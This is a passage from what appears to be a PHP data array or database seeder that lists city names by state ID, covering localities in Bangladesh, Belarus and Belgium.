['state_id' => '379', 'name' => 'roypura'],\n ['state_id' => '380', 'name' => 'gurudaspur'],\n ['state_id' => '380', 'name' => 'nator'],\n ['state_id' => '381', 'name' => 'naugaon'],\n ['state_id' => '382', 'name' => 'gomastapur'],\n ['state_id' => '382', 'name' => 'nawabganj'],\n ['state_id' => '382', 'name' => 'shibganj'],\n ['state_id' => '383', 'name' => 'netrakona'],\n ['state_id' => '384', 'name' => 'domar'],\n ['state_id' => '384', 'name' => 'nilphamari'],\n ['state_id' => '384', 'name' => 'sa\\'idpur'],\n ['state_id' => '385', 'name' => 'begamganj'],\n ['state_id' => '385', 'name' => 'noakhali'],\n ['state_id' => '385', 'name' => 'senbagh'],\n ['state_id' => '386', 'name' => 'bera'],\n ['state_id' => '386', 'name' => 'bhangura'],\n ['state_id' => '386', 'name' => 'ishurdi'],\n ['state_id' => '386', 'name' => 'pabna'],\n ['state_id' => '387', 'name' => 'panchagarh'],\n ['state_id' => '388', 'name' => 'patuakhali'],\n ['state_id' => '389', 'name' => 'bhandaria'],\n ['state_id' => '389', 'name' => 'mathbaria'],\n ['state_id' => '389', 'name' => 'nesarabad'],\n ['state_id' => '389', 'name' => 'pirojpur'],\n ['state_id' => '390', 'name' => 'pangsha'],\n ['state_id' => '390', 'name' => 'rajbari'],\n ['state_id' => '391', 'name' => 'rajshahi'],\n ['state_id' => '392', 'name' => 'kaptai'],\n ['state_id' => '392', 'name' => 'rangamati'],\n ['state_id' => '393', 'name' => 'badarganj'],\n ['state_id' => '393', 'name' => 'kaunia'],\n ['state_id' => '393', 'name' => 'rangpur'],\n ['state_id' => '394', 'name' => 'satkhira'],\n ['state_id' => '395', 'name' => 'palang'],\n ['state_id' => '396', 'name' => 'nalitabari'],\n ['state_id' => '396', 'name' => 'sherpur'],\n ['state_id' => '397', 'name' => 'silhat'],\n ['state_id' => '398', 'name' => 'shahjadpur'],\n ['state_id' => '398', 'name' => 'sirajganj'],\n ['state_id' => '399', 'name' => 'chhatak'],\n ['state_id' => '399', 'name' => 'sunamganj'],\n ['state_id' => '400', 'name' => 'gopalpur'],\n ['state_id' => '400', 'name' => 'mirzapur'],\n ['state_id' => '400', 'name' => 'sakhipur'],\n ['state_id' => '400', 'name' => 'tangayal'],\n ['state_id' => '401', 'name' => 'pirganj'],\n ['state_id' => '401', 'name' => 'thakurgaon'],\n ['state_id' => '413', 'name' => 'baranavichy'],\n ['state_id' => '413', 'name' => 'bjaroza'],\n ['state_id' => '413', 'name' => 'bjeloozersk'],\n ['state_id' => '413', 'name' => 'brest'],\n ['state_id' => '413', 'name' => 'david-haradok'],\n ['state_id' => '413', 'name' => 'drahichyn'],\n ['state_id' => '413', 'name' => 'hancavichy'],\n ['state_id' => '413', 'name' => 'ivacevichy'],\n ['state_id' => '413', 'name' => 'ivanava'],\n ['state_id' => '413', 'name' => 'kamjenec'],\n ['state_id' => '413', 'name' => 'kobryn'],\n ['state_id' => '413', 'name' => 'kosava'],\n ['state_id' => '413', 'name' => 'ljahavichy'],\n ['state_id' => '413', 'name' => 'luninjec'],\n ['state_id' => '413', 'name' => 'malaryta'],\n ['state_id' => '413', 'name' => 'mikashevichy'],\n ['state_id' => '413', 'name' => 'pinsk'],\n ['state_id' => '413', 'name' => 'pruzhany'],\n ['state_id' => '413', 'name' => 'stolin'],\n ['state_id' => '413', 'name' => 'vysokoje'],\n ['state_id' => '413', 'name' => 'zhabinka'],\n ['state_id' => '414', 'name' => 'buda kosheljovo'],\n ['state_id' => '414', 'name' => 'chechersk'],\n ['state_id' => '414', 'name' => 'dobrush'],\n ['state_id' => '414', 'name' => 'hojniki'],\n ['state_id' => '414', 'name' => 'homjel\\''],\n ['state_id' => '414', 'name' => 'jel\\'sk'],\n ['state_id' => '414', 'name' => 'kalinkavichy'],\n ['state_id' => '414', 'name' => 'kascjukovka'],\n ['state_id' => '414', 'name' => 'mazyr'],\n ['state_id' => '414', 'name' => 'narovlja'],\n ['state_id' => '414', 'name' => 'pjetrykav'],\n ['state_id' => '414', 'name' => 'rahachow'],\n ['state_id' => '414', 'name' => 'rechyca'],\n ['state_id' => '414', 'name' => 'svetlahorsk'],\n ['state_id' => '414', 'name' => 'vasilevichy'],\n ['state_id' => '414', 'name' => 'vjetka'],\n ['state_id' => '414', 'name' => 'zhlobin'],\n ['state_id' => '414', 'name' => 'zhytkavichy'],\n ['state_id' => '415', 'name' => 'ashmjany'],\n ['state_id' => '415', 'name' => 'berjozovka'],\n ['state_id' => '415', 'name' => 'hrodna'],\n ['state_id' => '415', 'name' => 'lida'],\n ['state_id' => '415', 'name' => 'masty'],\n ['state_id' => '415', 'name' => 'navahrudak'],\n ['state_id' => '415', 'name' => 'shchuchyn'],\n ['state_id' => '415', 'name' => 'skidel\\''],\n ['state_id' => '415', 'name' => 'slonim'],\n ['state_id' => '415', 'name' => 'smarhon\\''],\n ['state_id' => '415', 'name' => 'vawkavysk'],\n ['state_id' => '416', 'name' => 'asipovichy'],\n ['state_id' => '416', 'name' => 'babrujsk'],\n ['state_id' => '416', 'name' => 'byhau'],\n ['state_id' => '416', 'name' => 'chausy'],\n ['state_id' => '416', 'name' => 'cherikov'],\n ['state_id' => '416', 'name' => 'horki'],\n ['state_id' => '416', 'name' => 'kascjukovichy'],\n ['state_id' => '416', 'name' => 'klimavichy'],\n ['state_id' => '416', 'name' => 'krychaw'],\n ['state_id' => '416', 'name' => 'mahiljow'],\n ['state_id' => '416', 'name' => 'mstislav'],\n ['state_id' => '416', 'name' => 'shklov'],\n ['state_id' => '416', 'name' => 'slaeuharad'],\n ['state_id' => '418', 'name' => 'minsk'],\n ['state_id' => '420', 'name' => 'petrikov'],\n ['state_id' => '421', 'name' => 'baran\\''],\n ['state_id' => '421', 'name' => 'braslav'],\n ['state_id' => '421', 'name' => 'chashniki'],\n ['state_id' => '421', 'name' => 'disna'],\n ['state_id' => '421', 'name' => 'dokshicy'],\n ['state_id' => '421', 'name' => 'dubrovna'],\n ['state_id' => '421', 'name' => 'haradok'],\n ['state_id' => '421', 'name' => 'hlybokaje'],\n ['state_id' => '421', 'name' => 'ljepjel\\''],\n ['state_id' => '421', 'name' => 'mjory'],\n ['state_id' => '421', 'name' => 'navapolack'],\n ['state_id' => '421', 'name' => 'novalukoml\\''],\n ['state_id' => '421', 'name' => 'orsha'],\n ['state_id' => '421', 'name' => 'pastavy'],\n ['state_id' => '421', 'name' => 'polack'],\n ['state_id' => '421', 'name' => 'polotsk'],\n ['state_id' => '421', 'name' => 'senno'],\n ['state_id' => '421', 'name' => 'talachyn'],\n ['state_id' => '421', 'name' => 'verhnjadzvimsk'],\n ['state_id' => '421', 'name' => 'vicebsk'],\n ['state_id' => '422', 'name' => 'aartselaar'],\n ['state_id' => '422', 'name' => 'antwerpen'],\n ['state_id' => '422', 'name' => 'arendonk'],\n ['state_id' => '422', 'name' => 'baarle-hertog'],\n ['state_id' => '422', 'name' => 'balen'],\n ['state_id' => '422', 'name' => 'beerse'],\n ['state_id' => '422', 'name' => 'berlaar'],\n ['state_id' => '422', 'name' => 'boechout'],\n ['state_id' => '422', 'name' => 'bonheiden'],\n ['state_id' => '422', 'name' => 'boom'],\n ['state_id' => '422', 'name' => 'bornem'],\n ['state_id' => '422', 'name' => 'borsbeek'],\n ['state_id' => '422', 'name' => 'brasschaat'],\n ['state_id' => '422', 'name' => 'brecht'],\n ['state_id' => '422', 'name' => 'dessel'],\n ['state_id' => '422', 'name' => 'deurne'],\n ['state_id' => '422', 'name' => 'duffel'],\n ['state_id' => '422', 'name' => 'edegem'],\n ['state_id' => '422', 'name' => 'ekeren'],\n ['state_id' => '422', 'name' => 'essen'],\n ['state_id' => '422', 'name' => 'geel'],\n ['state_id' => '422', 'name' => 'geluvele'],\n ['state_id' => '422', 'name' => 'grobbendonk'],\n ['state_id' => '422', 'name' => 'heist-op-den-berg'],\n ['state_id' => '422', 'name' => 'hemiksem'],\n ['state_id' => '422', 'name' => 'herentals'],\n ['state_id' => '422', 'name' => 'herenthout'],\n ['state_id' => '422', 'name' => 'herselt'],\n ['state_id' => '422', 'name' => 'hoogstraten'],\n ['state_id' => '422', 'name' => 'hove'],\n ['state_id' => '422', 'name' => 'hulshout'],\n ['state_id' => '422', 'name' => 'kalmpthout'],\n ['state_id' => '422', 'name' => 'kalmthout'],\n ['state_id' => '422', 'name' => 'kapellen'],\n ['state_id' => '422', 'name' => 'kasterlee'],\n ['state_id' => '422', 'name' => 'kontich'],\n ['state_id' => '422', 'name' => 'laakdal'],\n ['state_id' => '422', 'name' => 'lier'],\n ['state_id' => '422', 'name' => 'lille'],\n ['state_id' => '422', 'name' => 'lint'],\n ['state_id' => '422', 'name' => 'malle'],\n ['state_id' => '422', 'name' => 'mechelen'],\n ['state_id' => '422', 'name' => 'meerhout'],\n ['state_id' => '422', 'name' => 'merksplas'],\n ['state_id' => '422', 'name' => 'mol'],\n ['state_id' => '422', 'name' => 'mortsel'],\n ['state_id' => '422', 'name' => 'niel'],\n ['state_id' => '422', 'name' => 'nijlen'],\n ['state_id' => '422', 'name' => 'olen'],\n ['state_id' => '422', 'name' => 'oud-turnhout'],\n ['state_id' => '422', 'name' => 'putte'],\n ['state_id' => '422', 'name' => 'puurs'],\n ['state_id' => '422', 'name' => 'ranst'],\n ['state_id' => '422', 'name' => 'ravels'],\n ['state_id' => '422', 'name' => 'retie'],\n ['state_id' => '422', 'name' => 'rijkevorsel'],\n ['state_id' => '422', 'name' => 'robrechts'],\n ['state_id' => '422', 'name' => 'rumst'],\n ['state_id' => '422', 'name' => 'schelle'],\n ['state_id' => '422', 'name' => 'schilde'],\n ['state_id' => '422', 'name' => 'schoten'],\n ['state_id' => '422', 'name' => 'sint-amands'],\n ['state_id' => '422', 'name' => 'sint-katelijne-waver'],\n ['state_id' => '422', 'name' => 'stabroek'],\n ['state_id' => '422', 'name' => 'turnhout'],\n ['state_id' => '422', 'name' => 'vorselaar'],\n ['state_id' => '422', 'name' => 'vosselaar'],\n ['state_id' => '422', 'name' => 'westerlo'],\n ['state_id' => '422', 'name' => 'wijnegem'],\n ['state_id' => '422', 'name' => 'willebroek'],\n ['state_id' => '422', 'name' => 'wilrijk'],\n ['state_id' => '422', 'name' => 'wommelgem'],\n ['state_id' => '422', 'name' => 'wuustwezel'],\n ['state_id' => '422', 'name' => 'zandhoven'],\n ['state_id' => '422', 'name' => 'zoersel'],\n ['state_id' => '422', 'name' => 'zwijndrecht'],\n ['state_id' => '423', 'name' => 'berchem'],\n ['state_id' => '424', 'name' => 'alsemberg'],\n ['state_id' => '424', 'name' => 'asse zellik'],\n ['state_id' => '424', 'name' => 'brussels'],\n ['state_id' => '424', 'name' => 'bruxelles'],\n ['state_id' => '424', 'name' => 'diegem'],\n ['state_id' => '425', 'name' => 'alsemberg'],\n ['state_id' => '425', 'name' => 'asse zellik'],\n ['state_id' => '425', 'name' => 'brussels'],\n ['state_id' => '425', 'name' => 'bruxelles'],\n ['state_id' => '425', 'name' => 'diegem'],\n ['state_id' => '426', 'name' => 'brussel'],\n ['state_id' => '428', 'name' => 'aiseau-presles'],\n ['state_id' => '428', 'name' => 'anderlues'],\n ['state_id' => '428', 'name' => 'antoing'],\n ['state_id' => '428', 'name' => 'ath'],\n ['state_id' => '428', 'name' => 'beaumont'],\n ['state_id' => '428', 'name' => 'beloeil'],\n ['state_id' => '428', 'name' => 'bernissart'],\n ['state_id' => '428', 'name' => 'binche'],\n ['state_id' => '428', 'name' => 'boussu'],\n ['state_id' => '428', 'name' => 'braine-le-comte'],\n ['state_id' => '428', 'name' => 'brugelette'],\n ['state_id' => '428', 'name' => 'brunehaut'],\n ['state_id' => '428', 'name' => 'celles'],\n ['state_id' => '428', 'name' => 'chapelle-lez-herlaimont'],\n ['state_id' => '428', 'name' => 'charleroi'],\n ['state_id' => '428', 'name' => 'chatelet'],\n ['state_id' => '428', 'name' => 'chievres'],\n ['state_id' => '428', 'name' => 'chimay'],\n ['state_id' => '428', 'name' => 'colfontaine'],\n ['state_id' => '428', 'name' => 'comines-warneton'],\n ['state_id' => '428', 'name' => 'courcelles'],\n ['state_id' => '428', 'name' => 'dour'],\n ['state_id' => '428', 'name' => 'ecaussinnes'],\n ['state_id' => '428', 'name' => 'ellezelles'],\n ['state_id' => '428', 'name' => 'enghien'],\n ['state_id' => '428', 'name' => 'erquelinnes'],\n ['state_id' => '428', 'name' => 'estaimpuis'],\n ['state_id' => '428', 'name' => 'estinnes'],\n ['state_id' => '428', 'name' => 'farciennes'],\n ['state_id' => '428', 'name' => 'fleurus'],\n ['state_id' => '428', 'name' => 'flobecq'],\n ['state_id' => '428', 'name' => 'fontaine-l\\'eveque'],\n ['state_id' => '428', 'name' => 'frameries'],\n ['state_id' => '428', 'name' => 'frasnes-lez-anvaing'],\n ['state_id' => '428', 'name' => 'froidchapelle'],\n ['state_id' => '428', 'name' => 'gerpinnes'],\n ['state_id' => '428', 'name' => 'haine-saint-pierre'],\n ['state_id' => '428', 'name' => 'ham-sur-heure-nalinnes'],\n ['state_id' => '428', 'name' => 'hensies'],\n ['state_id' => '428', 'name' => 'honnelles'],\n ['state_id' => '428', 'name' => 'jurbise'],\n ['state_id' => '428', 'name' => 'la louviere'],\n ['state_id' => '428', 'name' => 'le roeulx'],\n ['state_id' => '428', 'name' => 'lens'],\n ['state_id' => '428', 'name' => 'les bons villers'],\n ['state_id' => '428', 'name' => 'lessines'],\n ['state_id' => '428', 'name' => 'leuze-en-hainaut'],\n ['state_id' => '428', 'name' => 'lobbes'],\n ['state_id' => '428', 'name' => 'manage'],\n ['state_id' => '428', 'name' => 'merbes-le-chateau'],\n ['state_id' => '428', 'name' => 'momignies'],\n ['state_id' => '428', 'name' => 'mons'],\n ['state_id' => '428', 'name' => 'mont-de-l\\'enclus'],\n ['state_id' => '428', 'name' => 'montigny-le-tilleul'],\n ['state_id' => '428', 'name' => 'morlanwelz'],\n ['state_id' => '428', 'name' => 'mouscron'],\n ['state_id' => '428', 'name' => 'pecq'],\n ['state_id' => '428', 'name' => 'peruwelz'],\n ['state_id' => '428', 'name' => 'pont-a-celles'],\n ['state_id' => '428', 'name' => 'quaregnon'],\n ['state_id' => '428', 'name' => 'quevy'],\n ['state_id' => '428', 'name' => 'quievrain'],\n ['state_id' => '428', 'name' => 'rumes'],\n ['state_id' => '428', 'name' => 'saint-ghislain'],\n ['state_id' => '428', 'name' => 'seneffe'],\n ['state_id' => '428', 'name' => 'silly'],\n ['state_id' => '428', 'name' => 'sivry-rance'],\n ['state_id' => '428', 'name' => 'soignies'],\n ['state_id' => '428', 'name' => 'thuin'],\n ['state_id' => '428', 'name' => 'tournai'],\n ['state_id' => '429', 'name' => 'amay'],\n ['state_id' => '429', 'name' => 'amel'],\n ['state_id' => '429', 'name' => 'angleur'],\n ['state_id' => '429', 'name' => 'ans'],\n ['state_id' => '429', 'name' => 'anthisnes'],\n ['state_id' => '429', 'name' => 'aubel'],\n ['state_id' => '429', 'name' => 'awans'],\n ['state_id' => '429', 'name' => 'aywaille'],\n ['state_id' => '429', 'name' => 'baelen'],\n ['state_id' => '429', 'name' => 'bassenge'],\n ['state_id' => '429', 'name' => 'berloz'],\n ['state_id' => '429', 'name' => 'beyne-heusay'],\n ['state_id' => '429', 'name' => 'blegny'],\n ['state_id' => '429', 'name' => 'braives'],\n ['state_id' => '429', 'name' => 'bullingen'],\n ['state_id' => '429', 'name' => 'burdinne'],\n ['state_id' => '429', 'name' => 'burg-reuland'],\n ['state_id' => '429', 'name' => 'butgenbach'],\n ['state_id' => '429', 'name' => 'chaudfontaine'],\n ['state_id' => '429', 'name' => 'clavier'],\n ['state_id' => '429', 'name' => 'comblain-au-pont'],\n ['state_id' => '429', 'name' => 'crisnee'],\n ['state_id' => '429', 'name' => 'dalhem'],\n ['state_id' => '429', 'name' => 'dison'],\n ['state_id' => '429', 'name' => 'donceel'],\n ['state_id' => '429', 'name' => 'engis'],\n ['state_id' => '429', 'name' => 'esneux'],\n ['state_id' => '429', 'name' => 'eupen'],\n ['state_id' => '429', 'name' => 'faimes'],\n ['state_id' => '429', 'name' => 'ferrieres'],\n ['state_id' => '429', 'name' => 'fexhe-le-haut-clocher'],\n ['state_id' => '429', 'name' => 'flemalle'],\n ['state_id' => '429', 'name' => 'fleron'],\n ['state_id' => '429', 'name' => 'geer'],\n ['state_id' => '429', 'name' => 'grace-hollogne'],\n ['state_id' => '429', 'name' => 'hamoir'],\n ['state_id' => '429', 'name' => 'hannut'],\n ['state_id' => '429', 'name' => 'heron'],\n ['state_id' => '429', 'name' => 'herstal'],\n ['state_id' => '429', 'name' => 'herve'],\n ['state_id' => '429', 'name' => 'huy'],\n ['state_id' => '429', 'name' => 'jalhay'],\n ['state_id' => '429', 'name' => 'juprelle'],\n ['state_id' => '429', 'name' => 'kelmis'],\n ['state_id' => '429', 'name' => 'liege'],\n ['state_id' => '429', 'name' => 'lierneux'],\n ['state_id' => '429', 'name' => 'limbourg'],\n ['state_id' => '429', 'name' => 'lincent'],\n ['state_id' => '429', 'name' => 'lontzen'],\n ['state_id' => '429', 'name' => 'malmedy'],\n ['state_id' => '429', 'name' => 'marchin'],\n ['state_id' => '429', 'name' => 'modave'],\n ['state_id' => '429', 'name' => 'montzen'],\n ['state_id' => '429', 'name' => 'nandrin'],\n ['state_id' => '429', 'name' => 'neupre'],\n ['state_id' => '429', 'name' => 'olne'],\n ['state_id' => '429', 'name' => 'oreye'],\n ['state_id' => '429', 'name' => 'ouffet'],\n ['state_id' => '429', 'name' => 'oupeye'],\n ['state_id' => '429', 'name' => 'pepinster'],\n ['state_id' => '429', 'name' => 'plombieres'],\n ['state_id' => '429', 'name' => 'racour'],\n ['state_id' => '429', 'name' => 'raeren'],\n ['state_id' => '429', 'name' => 'remicourt'],\n ['state_id' => '429', 'name' => 'saint-georges-sur-meuse'],\n ['state_id' => '429', 'name' => 'saint-nicolas'],\n ['state_id' => '429', 'name' => 'sankt vith'],\n ['state_id' => '429', 'name' => 'seraing'],\n ['state_id' => '429', 'name' => 'soumagne'],\n ['state_id' => '429', 'name' => 'spa'],\n ['state_id' => '429', 'name' => 'sprimont'],\n ['state_id' => '429', 'name' => 'stavelot'],\n ['state_id' => '429', 'name' => 'stoumont'],\n ['state_id' => '429', 'name' => 'theux'],\n ['state_id' => '429', 'name' => 'thimister-clermont'],\n ['state_id' => '429', 'name' => 'tinlot'],\n ['state_id' => '429', 'name' => 'trois-ponts'],\n ['state_id' => '429', 'name' => 'trooz'],\n ['state_id' => '429', 'name' => 'verlaine'],\n ['state_id' => '429', 'name' => 'verviers'],\n ['state_id' => '429', 'name' => 'villers-le-bouillet'],\n ['state_id' => '429', 'name' => 'vise'],\n ['state_id' => '429', 'name' => 'waimes'],\n ['state_id' => '429', 'name' => 'wanze'],\n ['state_id' => '429', 'name' => 'waremme'],\n ['state_id' => '429', 'name' => 'wasseiges'],\n ['state_id' => '429', 'name' => 'welkenraedt'],\n ['state_id' => '430', 'name' => 'alken'],\n ['state_id' => '430', 'name' => 'as'],\n ['state_id' => '430', 'name' => 'beringen'],\n ['state_id' => '430', 'name' => 'bilzen'],\n ['state_id' => '430', 'name' => 'bocholt'],\n ['state_id' => '430', 'name' => 'borgloon'],\n ['state_id' => '430', 'name' => 'bree'],\n ['state_id' => '430', 'name' => 'diepenbeek'],\n ['state_id' => '430', 'name' => 'dilsen-stokkem'],\n ['state_id' => '430', 'name' => 'genk'],\n ['state_id' => '430', 'name' => 'gingelom'],\n ['state_id' => '430', 'name' => 'halen'],\n ['state_id' => '430', 'name' => 'ham'],\n ['state_id' => '430', 'name' => 'hamont-achel'],\n ['state_id' => '430', 'name' => 'hasselt'],\n ['state_id' => '430', 'name' => 'hechtel-eksel'],\n ['state_id' => '430', 'name' => 'heers'],\n ['state_id' => '430', 'name' => 'herk-de-stad'],\n ['state_id' => '430', 'name' => 'herstappe'],\n ['state_id' => '430', 'name' => 'heusden-zolder'],\n ['state_id' => '430', 'name' => 'hoeselt'],\n ['state_id' => '430', 'name' => 'houthalen-helchteren'],\n ['state_id' => '430', 'name' => 'kinrooi'],\n ['state_id' => '430', 'name' => 'kortessem'],\n ['state_id' => '430', 'name' => 'kuringen'],\n ['state_id' => '430', 'name' => 'lanaken'],\n ['state_id' => '430', 'name' => 'leopoldsburg'],\n ['state_id' => '430', 'name' => 'lommel'],\n ['state_id' => '430', 'name' => 'lummen'],\n ['state_id' => '430', 'name' => 'maaseik'],\n ['state_id' => '430', 'name' => 'maasmechelen'],\n ['state_id' => '430', 'name' => 'meeuwen-gruitrode'],\n ['state_id' => '430', 'name' => 'neerpelt'],\n ['state_id' => '430', 'name' => 'nieuwerkerken'],\n ['state_id' => '430', 'name' => 'opglabbeek'],\n ['state_id' => '430', 'name' => 'overpelt'],\n ['state_id' => '430', 'name' => 'peer'],\n ['state_id' => '430', 'name' => 'riemst'],\n ['state_id' => '430', 'name' => 'sint-truiden'],\n ['state_id' => '430', 'name' => 'tessenderlo'],\n ['state_id' => '430', 'name' => 'tongeren'],\n ['state_id' => '430', 'name' => 'voeren'],\n ['state_id' => '430', 'name' => 'wellen'],\n ['state_id' => '430', 'name' => 'zonhoven'],\n ['state_id' => '430', 'name' => 'zutendaal'],\n ['state_id' => '431', 'name' => 'arlon'],\n ['state_id' => '431', 'name' => 'attert'],\n ['state_id' => '431', 'name' => 'aubange'],\n ['state_id' => '431', 'name' => 'bastogne'],\n ['state_id' => '431', 'name' => 'bertogne'],\n ['state_id' => '431', 'name' => 'bertrix'],\n ['state_id' => '431', 'name' => 'bouillon'],\n ['state_id' => '431', 'name' => 'chiny'],\n ['state_id' => '431', 'name' => 'daverdisse'],\n ['state_id' => '431', 'name' => 'durbuy'],\n ['state_id' => '431', 'name' => 'erezee'],\n ['state_id' => '431', 'name' => 'etalle'],\n ['state_id' => '431', 'name' => 'fauvillers'],\n ['state_id' => '431', 'name' => 'florenville'],\n ['state_id' => '431', 'name' => 'gouvy'],\n ['state_id' => '431', 'name' => 'grapfontaine'],\n ['state_id' => '431', 'name' => 'habay'],\n ['state_id' => '431', 'name' => 'herbeumont'],\n ['state_id' => '431', 'name' => 'hotton'],\n ['state_id' => '431', 'name' => 'houffalize'],\n ['state_id' => '431', 'name' => 'la roche-en-ardenne'],\n ['state_id' => '431', 'name' => 'leglise'],\n ['state_id' => '431', 'name' => 'libin'],\n ['state_id' => '431', 'name' => 'libramont-chevigny'],\n ['state_id' => '431', 'name' => 'manhay'],\n ['state_id' => '431', 'name' => 'marche-en-famenne'],\n ['state_id' => '431', 'name' => 'marloie'],\n ['state_id' => '431', 'name' => 'martelange'],\n ['state_id' => '431', 'name' => 'meix-devant-virton'],\n ['state_id' => '431', 'name' => 'messancy'],\n ['state_id' => '431', 'name' => 'musson'],\n ['state_id' => '431', 'name' => 'nassogne'],\n ['state_id' => '431', 'name' => 'neufchateau'],\n ['state_id' => '431', 'name' => 'paliseul'],\n ['state_id' => '431', 'name' => 'rendeux'],\n ['state_id' => '431', 'name' => 'rouvroy'],\n ['state_id' => '431', 'name' => 'saint-hubert'],\n ['state_id' => '431', 'name' => 'saint-leger'],\n ['state_id' => '431', 'name' => 'sainte-ode'],\n ['state_id' => '431', 'name' => 'tellin'],\n ['state_id' => '431', 'name' => 'tenneville'],\n ['state_id' => '431', 'name' => 'tintigny'],\n ['state_id' => '431', 'name' => 'vaux-sur-sure'],\n ['state_id' => '431', 'name' => 'vielsalm'],\n ['state_id' => '431', 'name' => 'virton'],\n ['state_id' => '431', 'name' => 'wellin'],\n ['state_id' => '432', 'name' => 'andenne'],\n ['state_id' => '432', 'name' => 'anhee'],\n ['state_id' => '432', 'name' => 'assesse'],\n ['state_id' => '432', 'name' => 'beauraing'],\n ['state_id' => '432', 'name' => 'bievre'],\n ['state_id' => '432', 'name' => 'cerfontaine'],\n ['state_id' => '432', 'name' => 'ciney'],\n ['state_id' => '432', 'name' => 'couvin'],\n ['state_id' => '432', 'name' => 'dinant'],\n ['state_id' => '432', 'name' => 'doische'],\n ['state_id' => '432', 'name' => 'eghezee'],\n ['state_id' => '432', 'name' => 'fernelmont'],\n ['state_id' => '432', 'name' => 'floreffe'],\n ['state_id' => '432', 'name' => 'florennes'],\n ['state_id' => '432', 'name' => 'fosses-la-ville'],\n ['state_id' => '432', 'name' => 'gedinne'],\n ['state_id' => '432', 'name' => 'gembloux'],\n ['state_id' => '432', 'name' => 'gesves'],\n ['state_id' => '432', 'name' => 'hamois'],\n ['state_id' => '432', 'name' => 'hastiere'],\n ['state_id' => '432', 'name' => 'havelange'],\n ['state_id' => '432', 'name' => 'houyet'],\n ['state_id' => '432', 'name' => 'jambes'],\n ['state_id' => '432', 'name' => 'jemeppe-sur-sambre'],\n ['state_id' => '432', 'name' => 'la bruyere'],\n ['state_id' => '432', 'name' => 'malonne'],\n ['state_id' => '432', 'name' => 'mettet'],\n ['state_id' => '432', 'name' => 'namur'],\n ['state_id' => '432', 'name' => 'ohey'],\n ['state_id' => '432', 'name' => 'onhaye'],\n ['state_id' => '432', 'name' => 'philippeville'],\n ['state_id' => '432', 'name' => 'profondeville'],\n ['state_id' => '432', 'name' => 'rochefort'],\n ['state_id' => '432', 'name' => 'sambreville'],\n ['state_id' => '432', 'name' => 'sombreffe'],\n ['state_id' => '432', 'name' => 'somme-leuze'],\n ['state_id' => '432', 'name' => 'suarlee'],\n ['state_id' => '432', 'name' => 'viroinval'],\n ['state_id' => '432', 'name' => 'vresse-sur-semois'],\n ['state_id' => '432', 'name' => 'walcourt'],\n ['state_id' => '432', 'name' => 'yvoir'],\n ['state_id' => '433', 'name' => 'gullegem'],\n ['state_id' => '433', 'name' => 'langdorp'],\n ['state_id' => '434', 'name' => 'aalst'],\n ['state_id' => '434', 'name' => 'aalter'],\n ['state_id' => '434', 'name' => 'assenede'],\n ['state_id' => '434', 'name' => 'berlare'],\n ['state_id' => '434', 'name' => 'beveren'],\n ['state_id' => '434', 'name' => 'brakel'],\n ['state_id' => '434', 'name' => 'buggenhout'],\n ['state_id' => '434', 'name' => 'de pinte'],\n ['state_id' => '434', 'name' => 'deinze'],\n ['state_id' => '434', 'name' => 'denderleeuw'],\n ['state_id' => '434', 'name' => 'dendermonde'],\n ['state_id' => '434', 'name' => 'destelbergen'],\n ['state_id' => '434', 'name' => 'drongen'],\n ['state_id' => '434', 'name' => 'eeklo'],\n ['state_id' => '434', 'name' => 'erembodegem'],\n ['state_id' => '434', 'name' => 'erpe-mere'],\n ['state_id' => '434', 'name' => 'evergem'],\n ['state_id' => '434', 'name' => 'gavere'],\n ['state_id' => '434', 'name' => 'gent'],\n ['state_id' => '434', 'name' => 'geraardsbergen'],\n ['state_id' => '434', 'name' => 'ghent'],\n ['state_id' => '434', 'name' => 'haaltert'],\n ['state_id' => '434', 'name' => 'hamme'],\n ['state_id' => '434', 'name' => 'herzele'],\n ['state_id' => '434', 'name' => 'horebeke'],\n ['state_id' => '434', 'name' => 'kaprijke'],\n ['state_id' => '434', 'name' => 'kerksken'],\n ['state_id' => '434', 'name' => 'kluisbergen'],\n ['state_id' => '434', 'name' => 'knesselare'],\n ['state_id' => '434', 'name' => 'kruibeke'],\n ['state_id' => '434', 'name' => 'kruishoutem'],\n ['state_id' => '434', 'name' => 'laarne'],\n ['state_id' => '434', 'name' => 'lebbeke'],\n ['state_id' => '434', 'name' => 'lede'],\n ['state_id' => '434', 'name' => 'lierde'],\n ['state_id' => '434', 'name' => 'lochristi'],\n ['state_id' => '434', 'name' => 'lokeren'],\n ['state_id' => '434', 'name' => 'lovendegem'],\n ['state_id' => '434', 'name' => 'maarkedal'],\n ['state_id' => '434', 'name' => 'maldegem'],\n ['state_id' => '434', 'name' => 'melle'],\n ['state_id' => '434', 'name' => 'merelbeke'],\n ['state_id' => '434', 'name' => 'moerbeke'],\n ['state_id' => '434', 'name' => 'nazareth'],\n ['state_id' => '434', 'name' => 'nevele'],\n ['state_id' => '434', 'name' => 'ninove'],\n ['state_id' => '434', 'name' => 'oosterzele'],\n ['state_id' => '434', 'name' => 'oudenaarde'],\n ['state_id' => '434', 'name' => 'ronse'],\n ['state_id' => '434', 'name' => 'semmerzake'],\n ['state_id' => '434', 'name' => 'sint-gillis-waas'],\n ['state_id' => '434', 'name' => 'sint-laureins'],\n ['state_id' => '434', 'name' => 'sint-lievens-houtem'],\n ['state_id' => '434', 'name' => 'sint-martens-latem'],\n ['state_id' => '434', 'name' => 'sint-niklaas'],\n ['state_id' => '434', 'name' => 'stekene'],\n ['state_id' => '434', 'name' => 'temse'],\n ['state_id' => '434', 'name' => 'waarschoot'],\n ['state_id' => '434', 'name' => 'waasmunster'],\n ['state_id' => '434', 'name' => 'wachtebeke'],\n ['state_id' => '434', 'name' => 'wetteren'],\n ['state_id' => '434', 'name' => 'wichelen'],\n ['state_id' => '434', 'name' => 'wortegem-petegem'],\n ['state_id' => '434', 'name' => 'zele'],\n ['state_id' => '434', 'name' => 'zelzate'],\n ['state_id' => '434', 'name' => 'zingem'],\n ['state_id' => '434', 'name' => 'zomergem'],\n ['state_id' => '434', 'name' => 'zottegem'],\n ['state_id' => '434', 'name' => 'zulte'],\n ['state_id' => '434', 'name' => 'zwalm'],\n ['state_id' => '434', 'name' => 'zwijnaarde'],\n ['state_id' => '436', 'name' => 'aarschot'],\n ['state_id' => '436', 'name' => 'affligem'],\n ['state_id' => '436', 'name' => 'asse'],\n ['state_id' => '436', 'name' => 'beersel'],\n ['state_id' => '436', 'name' => 'begijnendijk'],\n ['state_id' => '436', 'name' => 'bekkevoort'],\n ['state_id' => '436', 'name' => 'bertem'],\n ['state_id' => '436', 'name' => 'bever'],\n ['state_id' => '436', 'name' => 'bierbeek'],\n ['state_id' => '436', 'name' => 